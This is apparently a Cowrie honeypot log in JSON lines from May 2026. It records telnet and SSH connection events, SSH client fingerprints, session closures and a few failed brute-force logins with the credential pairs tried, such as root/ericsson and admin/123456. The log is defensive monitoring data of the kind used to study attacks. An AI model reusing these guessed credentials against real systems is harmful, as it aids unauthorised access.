{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46536,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f9103c39c0e","protocol":"telnet","message":"New connection: 192.119.13.58:46536 (10.17.0.5:23) [session: 3f9103c39c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:48.658212Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:48.667403Z","src_ip":"115.68.226.124","session":"444484c6b8a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ericsson","message":"login attempt [root/ericsson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:49.548490Z","src_ip":"115.68.226.124","session":"444484c6b8a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53338,"dst_ip":"10.17.0.5","dst_port":23,"session":"04809a76414e","protocol":"telnet","message":"New connection: 192.119.13.58:53338 (10.17.0.5:23) [session: 04809a76414e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:49.677320Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:50.767105Z","src_ip":"115.68.226.124","session":"444484c6b8a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60174,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b1940933798","protocol":"telnet","message":"New connection: 192.119.13.58:60174 (10.17.0.5:23) [session: 4b1940933798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:51.587988Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32878,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dbb5725c70f","protocol":"telnet","message":"New connection: 192.119.13.58:32878 (10.17.0.5:23) [session: 9dbb5725c70f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:51.871266Z"}
{"eventid":"cowrie.session.closed","duration":39.57512855529785,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:52.297659Z","src_ip":"192.119.13.58","session":"68061c1cbe09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.461328744888306,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:52.409127Z","src_ip":"192.119.13.58","session":"36ed4e100d35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.04063153266907,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:53.887686Z","src_ip":"192.119.13.58","session":"02afdddbeec2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":59984,"dst_ip":"10.17.0.5","dst_port":22,"session":"39e09318c304","protocol":"ssh","message":"New connection: 40.83.182.122:59984 (10.17.0.5:22) [session: 39e09318c304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:57.470301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:57.475765Z","src_ip":"40.83.182.122","session":"39e09318c304","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:57.553547Z","src_ip":"40.83.182.122","session":"39e09318c304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ansible@123","message":"login attempt [root/ansible@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:57.899084Z","src_ip":"40.83.182.122","session":"39e09318c304","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:58.980485Z","src_ip":"40.83.182.122","session":"39e09318c304","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.11824560165405,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:59.004109Z","src_ip":"192.119.13.58","session":"854443dd846d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.810598611831665,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:07:59.322893Z","src_ip":"192.119.13.58","session":"ce8b94984f0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.682811975479126,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:00.376652Z","src_ip":"192.119.13.58","session":"bf69a1468c54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37910,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b00ae9ba578","protocol":"telnet","message":"New connection: 192.119.13.58:37910 (10.17.0.5:23) [session: 8b00ae9ba578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:00.707555Z"}
{"eventid":"cowrie.session.closed","duration":38.084787130355835,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:01.230852Z","src_ip":"192.119.13.58","session":"d8603d72f210","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40610,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3675accea5e","protocol":"telnet","message":"New connection: 192.119.13.58:40610 (10.17.0.5:23) [session: c3675accea5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:01.420846Z"}
{"eventid":"cowrie.session.closed","duration":33.718575954437256,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:03.701556Z","src_ip":"192.119.13.58","session":"860d3f8d37a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.38480091094971,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:04.483131Z","src_ip":"192.119.13.58","session":"985832c5c215","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52766,"dst_ip":"10.17.0.5","dst_port":23,"session":"129d6e97c0ab","protocol":"telnet","message":"New connection: 192.119.13.58:52766 (10.17.0.5:23) [session: 129d6e97c0ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:04.671494Z"}
{"eventid":"cowrie.session.closed","duration":38.482898235321045,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:07.154060Z","src_ip":"192.119.13.58","session":"6e76618f1523","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.695632219314575,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:12.019516Z","src_ip":"192.119.13.58","session":"949ccf377282","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.429959297180176,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:13.641797Z","src_ip":"192.119.13.58","session":"c97b92397823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33188,"dst_ip":"10.17.0.5","dst_port":23,"session":"81f091a79d8c","protocol":"telnet","message":"New connection: 192.119.13.58:33188 (10.17.0.5:23) [session: 81f091a79d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:14.475883Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.11.66","src_port":45368,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef27345c0e4e","protocol":"ssh","message":"New connection: 116.110.11.66:45368 (159.203.135.109:22) [session: ef27345c0e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:14.725766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:14.732287Z","src_ip":"116.110.11.66","session":"ef27345c0e4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:14.984534Z","src_ip":"116.110.11.66","session":"ef27345c0e4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36858,"dst_ip":"10.17.0.5","dst_port":23,"session":"c38cde0a89e6","protocol":"telnet","message":"New connection: 192.119.13.58:36858 (10.17.0.5:23) [session: c38cde0a89e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:15.488945Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:15.804884Z","src_ip":"116.110.11.66","session":"ef27345c0e4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.08421611785889,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:16.201219Z","src_ip":"192.119.13.58","session":"3a6d9cac4d48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:17.074279Z","src_ip":"116.110.11.66","session":"ef27345c0e4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50360,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa4e66d9de68","protocol":"telnet","message":"New connection: 192.119.13.58:50360 (10.17.0.5:23) [session: aa4e66d9de68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:19.954222Z"}
{"eventid":"cowrie.session.closed","duration":32.1184184551239,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:23.989593Z","src_ip":"192.119.13.58","session":"9dbb5725c70f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.640323877334595,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:24.331217Z","src_ip":"192.119.13.58","session":"8e653fd7f78e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.87039017677307,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:24.454190Z","src_ip":"192.119.13.58","session":"d94a4dd6c168","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.3610098361969,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:27.038206Z","src_ip":"192.119.13.58","session":"04809a76414e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.097986459732056,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:27.685850Z","src_ip":"192.119.13.58","session":"4b1940933798","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":39454,"dst_ip":"10.17.0.5","dst_port":22,"session":"c957616aa5a9","protocol":"ssh","message":"New connection: 103.164.9.74:39454 (10.17.0.5:22) [session: c957616aa5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:28.737961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:28.743431Z","src_ip":"103.164.9.74","session":"c957616aa5a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:28.941243Z","src_ip":"103.164.9.74","session":"c957616aa5a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2222","message":"login attempt [root/2222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:29.758722Z","src_ip":"103.164.9.74","session":"c957616aa5a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:30.957299Z","src_ip":"103.164.9.74","session":"c957616aa5a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.95447492599487,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:32.612569Z","src_ip":"192.119.13.58","session":"3f9103c39c0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.49921798706055,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:32.651214Z","src_ip":"186.195.16.41","session":"d2db08e074be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48212,"dst_ip":"10.17.0.5","dst_port":23,"session":"baeca962867b","protocol":"telnet","message":"New connection: 192.119.13.58:48212 (10.17.0.5:23) [session: baeca962867b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:33.312813Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56092,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ab9b0898601","protocol":"telnet","message":"New connection: 192.119.13.58:56092 (10.17.0.5:23) [session: 8ab9b0898601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:35.434928Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56792,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fdee68c0437","protocol":"telnet","message":"New connection: 192.119.13.58:56792 (10.17.0.5:23) [session: 9fdee68c0437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:35.606108Z"}
{"eventid":"cowrie.session.closed","duration":37.08991074562073,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:37.797312Z","src_ip":"192.119.13.58","session":"8b00ae9ba578","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49056,"dst_ip":"10.17.0.5","dst_port":23,"session":"b394a751a3ab","protocol":"telnet","message":"New connection: 192.119.13.58:49056 (10.17.0.5:23) [session: b394a751a3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:40.943675Z"}
{"eventid":"cowrie.session.closed","duration":0.0067098140716552734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:40.950262Z","src_ip":"192.119.13.58","session":"b394a751a3ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59642,"dst_ip":"10.17.0.5","dst_port":23,"session":"869755ca6d75","protocol":"telnet","message":"New connection: 192.119.13.58:59642 (10.17.0.5:23) [session: 869755ca6d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:43.498797Z"}
{"eventid":"cowrie.session.closed","duration":42.52343225479126,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:43.944135Z","src_ip":"192.119.13.58","session":"c3675accea5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33474,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf671af10727","protocol":"telnet","message":"New connection: 192.119.13.58:33474 (10.17.0.5:23) [session: cf671af10727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:44.009014Z"}
{"eventid":"cowrie.session.closed","duration":43.8929386138916,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:48.564303Z","src_ip":"192.119.13.58","session":"129d6e97c0ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.930763244628906,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:51.406476Z","src_ip":"192.119.13.58","session":"81f091a79d8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44614,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d81755bb41d","protocol":"telnet","message":"New connection: 192.119.13.58:44614 (10.17.0.5:23) [session: 7d81755bb41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:53.789679Z"}
